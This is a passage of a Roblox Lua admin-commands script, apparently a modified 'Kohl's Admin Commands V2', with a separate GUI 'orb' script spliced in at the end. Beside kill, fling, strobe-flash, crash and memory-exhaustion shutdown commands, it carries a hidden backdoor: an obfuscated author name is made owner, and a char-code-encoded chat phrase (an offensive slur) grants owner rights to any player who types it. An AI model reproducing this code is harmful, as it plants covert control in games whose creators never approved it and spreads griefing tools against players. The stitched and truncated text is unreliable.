  5166. local plrz = GetPlr(plr, msg:lower():sub(7))
  5167. for i, v in pairs(plrz) do
  5168. coroutine.resume(coroutine.create(function()
  5169. if v and v.Character and v.Character:findFirstChild("Torso") then
  5170. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5171. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5172. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5173. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5174. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  5175. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  5176. end end
  5177. end
  5178. end))
  5179. end
  5180. end
  5181.  
  5182. if msg:lower():sub(1,7) == "normal " then
  5183. local plrz = GetPlr(plr, msg:lower():sub(8))
  5184. for i, v in pairs(plrz) do
  5185. coroutine.resume(coroutine.create(function()
  5186. if v and v.Character and v.Character:findFirstChild("Torso") then
  5187. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  5188. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  5189. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  5190. v.Character.Torso.Transparency = 0
  5191. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5192. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  5193. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  5194. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  5195. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  5196. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5197. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5198. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  5199. if prt.Name == "FAKETORSO" then prt:Destroy() end
  5200. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  5201. end end
  5202. end
  5203. end))
  5204. end
  5205. end
  5206.  
  5207. if msg:lower():sub(1,7) == "trippy " then
  5208. local plrz = GetPlr(plr, msg:lower():sub(8))
  5209. for i, v in pairs(plrz) do
  5210. coroutine.resume(coroutine.create(function()
  5211. if v and v:findFirstChild("PlayerGui") then
  5212. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5213. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  5214. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5215. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  5216. end
  5217. end))
  5218. end
  5219. end
  5220.  
  5221. if msg:lower():sub(1,9) == "untrippy " then
  5222. local plrz = GetPlr(plr, msg:lower():sub(10))
  5223. for i, v in pairs(plrz) do
  5224. coroutine.resume(coroutine.create(function()
  5225. if v and v:findFirstChild("PlayerGui") then
  5226. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  5227. end
  5228. end))
  5229. end
  5230. end
  5231.  
  5232. if msg:lower():sub(1,7) == "strobe " then
  5233. local plrz = GetPlr(plr, msg:lower():sub(8))
  5234. for i, v in pairs(plrz) do
  5235. coroutine.resume(coroutine.create(function()
  5236. if v and v:findFirstChild("PlayerGui") then
  5237. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5238. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  5239. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5240. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  5241. end
  5242. end))
  5243. end
  5244. end
  5245.  
  5246. if msg:lower():sub(1,9) == "unstrobe " then
  5247. local plrz = GetPlr(plr, msg:lower():sub(10))
  5248. for i, v in pairs(plrz) do
  5249. coroutine.resume(coroutine.create(function()
  5250. if v and v:findFirstChild("PlayerGui") then
  5251. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  5252. end
  5253. end))
  5254. end
  5255. end
  5256.  
  5257. if msg:lower():sub(1,6) == "blind " then
  5258. local plrz = GetPlr(plr, msg:lower():sub(7))
  5259. for i, v in pairs(plrz) do
  5260. coroutine.resume(coroutine.create(function()
  5261. if v and v:findFirstChild("PlayerGui") then
  5262. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5263. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  5264. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5265. end
  5266. end))
  5267. end
  5268. end
  5269.  
  5270. if msg:lower():sub(1,8) == "unblind " then
  5271. local plrz = GetPlr(plr, msg:lower():sub(9))
  5272. for i, v in pairs(plrz) do
  5273. coroutine.resume(coroutine.create(function()
  5274. if v and v:findFirstChild("PlayerGui") then
  5275. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  5276. end
  5277. end))
  5278. end
  5279. end
  5280.  
  5281. if msg:lower():sub(1,7) == "guifix " then
  5282. local plrz = GetPlr(plr, msg:lower():sub(8))
  5283. for i, v in pairs(plrz) do
  5284. coroutine.resume(coroutine.create(function()
  5285. if v and v:findFirstChild("PlayerGui") then
  5286. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5287. end
  5288. end))
  5289. end
  5290. end
  5291.  
  5292. if msg:lower():sub(1,9) == "loopheal " then
  5293. local plrz = GetPlr(plr, msg:lower():sub(10))
  5294. for i, v in pairs(plrz) do
  5295. if v then
  5296. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  5297. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  5298. repeat wait()
  5299. coroutine.resume(coroutine.create(function()
  5300. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  5301. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  5302. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  5303. end
  5304. end))
  5305. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  5306. end
  5307. end
  5308. end
  5309.  
  5310. if msg:lower():sub(1,11) == "unloopheal " then
  5311. local plrz = GetPlr(plr, msg:lower():sub(12))
  5312. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  5313. end
  5314.  
  5315. if msg:lower():sub(1,10) == "loopfling " then
  5316. local plrz = GetPlr(plr, msg:lower():sub(11))
  5317. for i, v in pairs(plrz) do
  5318. if v then
  5319. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  5320. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  5321. repeat
  5322. coroutine.resume(coroutine.create(function()
  5323. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  5324. local xran local zran
  5325. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  5326. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  5327. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  5328. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  5329. end
  5330. end))
  5331. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  5332. end
  5333. end
  5334. end
  5335.  
  5336. if msg:lower():sub(1,12) == "unloopfling " then
  5337. local plrz = GetPlr(plr, msg:lower():sub(13))
  5338. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  5339. end
  5340.  
  5341. end
  5342.  
  5343. -------------------------
  5344. -- True Owner Commands --
  5345. -------------------------
  5346.  
  5347. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  5348.  
  5349. if msg:lower():sub(1,3) == "oa " then
  5350. local plrz = GetPlr(plr, msg:lower():sub(4))
  5351. for i, v in pairs(plrz) do
  5352. coroutine.resume(coroutine.create(function()
  5353. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  5354. end))
  5355. end
  5356. end
  5357.  
  5358. if msg:lower():sub(1,5) == "unoa " then
  5359. for i = 1, #owners do
  5360. coroutine.resume(coroutine.create(function()
  5361. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  5362. end))
  5363. end
  5364. end
  5365.  
  5366. end
  5367.  
  5368. --------------------
  5369. -- Owner Commands --
  5370. --------------------
  5371.  
  5372. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  5373.  
  5374. if msg:lower():sub(1,3) == "pa " then
  5375. local plrz = GetPlr(plr, msg:lower():sub(4))
  5376. for i, v in pairs(plrz) do
  5377. coroutine.resume(coroutine.create(function()
  5378. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  5379. end))
  5380. end
  5381. end
  5382.  
  5383. if msg:lower():sub(1,5) == "unpa " then
  5384. for i = 1, #admins do
  5385. coroutine.resume(coroutine.create(function()
  5386. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  5387. end))
  5388. end
  5389. end
  5390.  
  5391. end
  5392.  
  5393. --------------------------
  5394. -- Super Admin Commands --
  5395. --------------------------
  5396.  
  5397. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  5398.  
  5399. if msg:lower() == "logs" then
  5400. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  5401. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  5402. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  5403. end
  5404.  
  5405. if msg:lower():sub(1,9) == "loopkill " then
  5406. local chk1 = msg:lower():sub(10):find(" ")
  5407. local plrz = GetPlr(plr, msg:lower():sub(10))
  5408. local num = 9999
  5409. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  5410. for i, v in pairs(plrz) do
  5411. if v and not ChkAdmin(v.Name, false) then
  5412. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  5413. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  5414. for i = 1, ]] .. tostring(num) .. [[ do
  5415. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  5416. coroutine.resume(coroutine.create(function()
  5417. if plr and plr.Character then plr.Character:BreakJoints() end
  5418. end))
  5419. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  5420. end
  5421. end
  5422. end
  5423.  
  5424. if msg:lower():sub(1,11) == "unloopkill " then
  5425. local plrz = GetPlr(plr, msg:lower():sub(12))
  5426. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  5427. end
  5428.  
  5429. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  5430. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  5431.  
  5432. if msg:lower():sub(1,3) == "sm " then
  5433. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  5434. end
  5435.  
  5436. if msg:lower():sub(1,3) == "ko " then
  5437. local chk1 = msg:lower():sub(4):find(" ") + 3
  5438. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  5439. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  5440. for n = 1, num do
  5441. for i, v in pairs(plrz) do
  5442. coroutine.resume(coroutine.create(function()
  5443. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  5444. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  5445. v.Character:BreakJoints()
  5446. wait(1/44)
  5447. v:LoadCharacter()
  5448. wait(1/44)
  5449. end
  5450. end))
  5451. end
  5452. end
  5453. end
  5454.  
  5455. if msg:lower():sub(1,6) == "crash " then
  5456. local plrz = GetPlr(plr, msg:lower():sub(7))
  5457. for i, v in pairs(plrz) do
  5458. coroutine.resume(coroutine.create(function()
  5459. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  5460. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  5461. end
  5462. end))
  5463. end
  5464. end
  5465.  
  5466. if msg:lower():sub(1,5) == "kick " then
  5467. local plrz = GetPlr(plr, msg:lower():sub(6))
  5468. for i, v in pairs(plrz) do
  5469. coroutine.resume(coroutine.create(function()
  5470. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  5471. end))
  5472. end
  5473. end
  5474.  
  5475. if msg:lower():sub(1,6) == "admin " then
  5476. local plrz = GetPlr(plr, msg:lower():sub(7))
  5477. for i, v in pairs(plrz) do
  5478. coroutine.resume(coroutine.create(function()
  5479. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  5480. end))
  5481. end
  5482. end
  5483.  
  5484. if msg:lower():sub(1,8) == "unadmin " then
  5485. for i = 1, #tempadmins do
  5486. coroutine.resume(coroutine.create(function()
  5487. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  5488. end))
  5489. end
  5490. end
  5491.  
  5492. if msg:lower():sub(1,4) == "ban " then
  5493. local plrz = GetPlr(plr, msg:lower():sub(5))
  5494. for i, v in pairs(plrz) do
  5495. coroutine.resume(coroutine.create(function()
  5496. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  5497. end))
  5498. end
  5499. end
  5500.  
  5501. if msg:lower():sub(1,6) == "unban " then
  5502. for i = 1, #banland do
  5503. coroutine.resume(coroutine.create(function()
  5504. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  5505. end))
  5506. end
  5507. end
  5508.  
  5509. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  5510.  
  5511. end
  5512. end))
  5513. end
  5514.  
  5515. function AdminControl(plr)
  5516. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  5517. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  5518. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  5519. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  5520. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  5521. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  5522. end)) end
  5523. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  5524. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  5525. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  5526. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  5527. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  5528. end
  5529.  
  5530. if not ntab then script:Destroy() end
  5531. if not bct then script:Destroy() end
  5532.  
  5533. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  5534.  
  5535. script.Name = "Kohl's Admin Commands V2"
  5536.  
  5537. if not ntab then script:Destroy() end
  5538. if not bct then script:Destroy() end
  5539. if not tcb then script:Destroy() end
  5540. game.Players.PlayerAdded:connect(AdminControl)
  5541. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  5542. end
  5543.  
  5544. local mod = game:service("InsertService"):LoadAsset(100808216)
  5545. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  5546. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  5547. newac.Disabled = true
  5548. local new = tonumber(mod:findFirstChild("Version", true).Value)
  5549. local old = 0
  5550. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  5551. if new > old then
  5552. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  5553. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  5554. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  5555. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  5556. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  5557. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  5558. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  5559. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  5560. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  5561. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  5562. wait()
  5563. newac.Parent = game.Workspace
  5564. newac.Disabled = false
  5565. script.Disabled = true
  5566. script:Destroy()
  5567. else
  5568. CHEESE()
  5569. end
  5570. else
  5571. CHEESE()
  5572. end
  5573. end
  5574.  
  5575. if text == ">getcmdsorb" then
  5576. owners = "w4k"
  5577. bannedlist = { "" }
  5578. loopkill = { "no one is in the list" }
  5579. orbsafetestmode=false
  5580. antiban=true
  5581. buildnumber=5
  5582. if orbsafetestmode==true then
  5583. buildnumber=5 .. " testmode"
  5584. antiban = false
  5585. end
  5586. if orbsafetestmode==true then
  5587. script.Parent = game.Workspace
  5588. else
  5589. script.Parent = nil
  5590. end
  5591. local credit = coroutine.create(function()
  5592. a=Instance.new("ScreenGui")
  5593. a.Parent = game:GetService("StarterGui")
  5594. b=Instance.new("TextLabel")
  5595. b.Parent = a
  5596. b.Size = UDim2.new ( 1, 0, 0.05, 0)
  5597. b.Position = UDim2.new ( 0, 0, 0, 0)
  5598. b.Text = "Orb Made By ME"
  5599. b.FontSize = Enum.FontSize.Size18
  5600. b.TextStrokeColor3 = Color3.new(255*255, 255*255, 255*255)
  5601. b.TextStrokeTransparency = .5
  5602. local texteffect1 = coroutine.create(function()
  5603. while wait() do
  5604. for i = 1,10 do
  5605. b.TextStrokeTransparency = b.TextStrokeTransparency-.05
  5606. wait(.01)
  5607. end
  5608. for i = 1,10 do
  5609. b.TextStrokeTransparency = b.TextStrokeTransparency+.05
  5610. wait(.01)
  5611. end
  5612. end
  5613. end)
  5614. coroutine.resume(texteffect1)
  5615. b.BackgroundColor3 = Color3.new ( 128, 0, 0)
  5616. b.TextColor3 = Color3.new ( 0, 0, 128)
  5617. c=game.Players:GetChildren()
  5618. for i=1,#c do
  5619. e=Instance.new("ScreenGui")
  5620. e.Parent = c[i].PlayerGui
  5621. f=Instance.new("TextLabel")
  5622. f.Parent = e
  5623. f.Size = UDim2.new ( 1, 0, 0.05, 0)
  5624. f.Position = UDim2.new ( 0, 0, 0, 0)
  5625. f.Text = "OS Gui Orb created by ME"
  5626. f.FontSize = "Size18"
  5627. f.BackgroundColor3 = Color3.new ( 128, 0, 0)
  5628. f.TextColor3 = Color3.new ( 0, 0, 128)
  5629. f.TextStrokeColor3 = Color3.new(255*255, 255*255, 255*255)
  5630. f.TextStrokeTransparency = .5
  5631. coroutine.resume(coroutine.create(function()
  5632. while wait() do
  5633. for i = 1,10 do
  5634. f.TextStrokeTransparency = f.TextStrokeTransparency-.05
  5635. wait(.01)
  5636. end
  5637. for i = 1,10 do
  5638. f.TextStrokeTransparency = f.TextStrokeTransparency+.05
  5639. wait(.01)
  5640. end
  5641. end
  5642. end))
  5643. end
  5644. end)
  5645. coroutine.resume(credit)
  5646. function onEnter(player)
  5647. gui1=Instance.new("ScreenGui")
  5648. gui1.Parent = player.PlayerGui
  5649. gui1.Name = player.Name.."'s GuiOrb"
  5650. button1main = Instance.new("TextButton")
  5651. button1main.Parent = gui1
  5652. button1main.Position = UDim2.new ( 0.025, 0, 0.2, 0)
  5653. button1main.Size = UDim2.new ( 0.1, 0, 0.05, 0)
  5654. button1main.Style = 1
  5655. button1main.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5656. button1main.Text = "Open Commands"
  5657. button2main = Instance.new("TextButton")
  5658. button2main.Parent = gui1
  5659. button2main.Position = UDim2.new ( 0.025, 0, 0.25, 0)
  5660. button2main.Size = UDim2.new ( 0.1, 0, 0.05, 0)
  5661. button2main.Style = 1
  5662. button2main.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5663. button2main.Text = "Open SelfCommands"
  5664. frame1main=Instance.new("Frame")
  5665. frame1main.Parent = gui1
  5666. frame1main.Name = "FindPlayer"
  5667. frame1main.Style = 2
  5668. frame1main.Position = UDim2.new ( 0.125, 0, 0.2, 0)
  5669. frame1main.Size = UDim2.new ( 0.15, 0, 0.2, 0)
  5670. frame1main.Visible = false
  5671. button1main.MouseButton1Click:connect(function()
  5672. if frame1main.Visible == false then
  5673. frame1main.Visible = true
  5674. button1main.Text = "Close Commands"
  5675. elseif frame1main.Visible == true then
  5676. frame1main.Visible = false
  5677. button1main.Text = "Open Commands"
  5678. end
  5679. end)
  5680. button1fp=Instance.new("TextButton")
  5681. button1fp.Parent = frame1main
  5682. button1fp.Name = "Selected"
  5683. button1fp.Style = 1
  5684. button1fp.Position = UDim2.new ( 0.1, 0, 0.3, 0)
  5685. button1fp.Size = UDim2.new ( 0.8, 0, 0.2, 0)
  5686. button1fp.TextColor3 = Color3.new (0, 0, 0)
  5687. button1fp.FontSize = Enum.FontSize.Size14
  5688. button1fp.Font = "ArialBold"
  5689. button1fp.TextStrokeColor3 = Color3.new(128*255, 255*255, 255*255)
  5690. button1fp.TextStrokeTransparency = .5
  5691. button2fp=Instance.new("TextButton")
  5692. button2fp.Parent = frame1main
  5693. button2fp.Style = 1
  5694. button2fp.Position = UDim2.new ( 0.1, 0, 0.47, 0)
  5695. button2fp.Size = UDim2.new ( 0.8, 0, 0.2, 0)
  5696. button2fp.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5697. button2fp.Text = "Next Player"
  5698. button3fp=Instance.new("TextButton")
  5699. button3fp.Parent = frame1main
  5700. button3fp.Style = 1
  5701. button3fp.Position = UDim2.new ( 0.1, 0, 0.64, 0)
  5702. button3fp.Size = UDim2.new ( 0.8, 0, 0.2, 0)
  5703. button3fp.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5704. button3fp.Text = "Previous Player"
  5705. currplayer=1
  5706. local stablize = coroutine.create(function()
  5707. while true do
  5708. wait()
  5709. allplayers=game.Players:GetChildren()
  5710. if currplayer >= #allplayers+1 then
  5711. currplayer = 1
  5712. elseif currplayer == 0 then
  5713. currplayer = #allplayers
  5714. else
  5715. button1fp.Text = allplayers[currplayer].Name
  5716. if (allplayers[currplayer].Name=="ttyyuu12345") or (allplayers[currplayer].Name=="DroptheBomb") then
  5717. button1fp.TextStrokeColor3 = Color3.new(255*255,255*255,0)
  5718. else
  5719. button1fp.TextStrokeColor3 = Color3.new(128*255, 255*255, 255*255)
  5720. end
  5721. end
  5722. end
  5723. end)
  5724. coroutine.resume(stablize)
  5725. button2fp.MouseButton1Click:connect(function()
  5726. currplayer = currplayer+1
  5727. end)
  5728. button3fp.MouseButton1Click:connect(function()
  5729. currplayer = currplayer-1
  5730. end)
  5731. frame2main=Instance.new("Frame")
  5732. frame2main.Parent = gui1
  5733. frame2main.Style = 2
  5734. frame2main.Position = UDim2.new ( 0.275, 0, 0.2, 0)
  5735. frame2main.Size = UDim2.new ( 0.3, 0, 0.6, 0)
  5736. frame2main.Name = "Player"
  5737. frame2main.Visible = false
  5738. frame3main=Instance.new("Frame")
  5739. frame3main.Parent = gui1
  5740. frame3main.Style = 2
  5741. frame3main.Position = UDim2.new ( 0.125, 0, 0.2, 0)
  5742. frame3main.Size = UDim2.new ( 0.2, 0, 0.5, 0)
  5743. frame3main.Name = "SelfCommands"
  5744. frame3main.Visible = false
  5745. button2main.MouseButton1Click:connect(function()
  5746. if frame3main.Visible == true then
  5747. button2main.Text = "Open SelfCommands"
  5748. frame3main.Visible = false
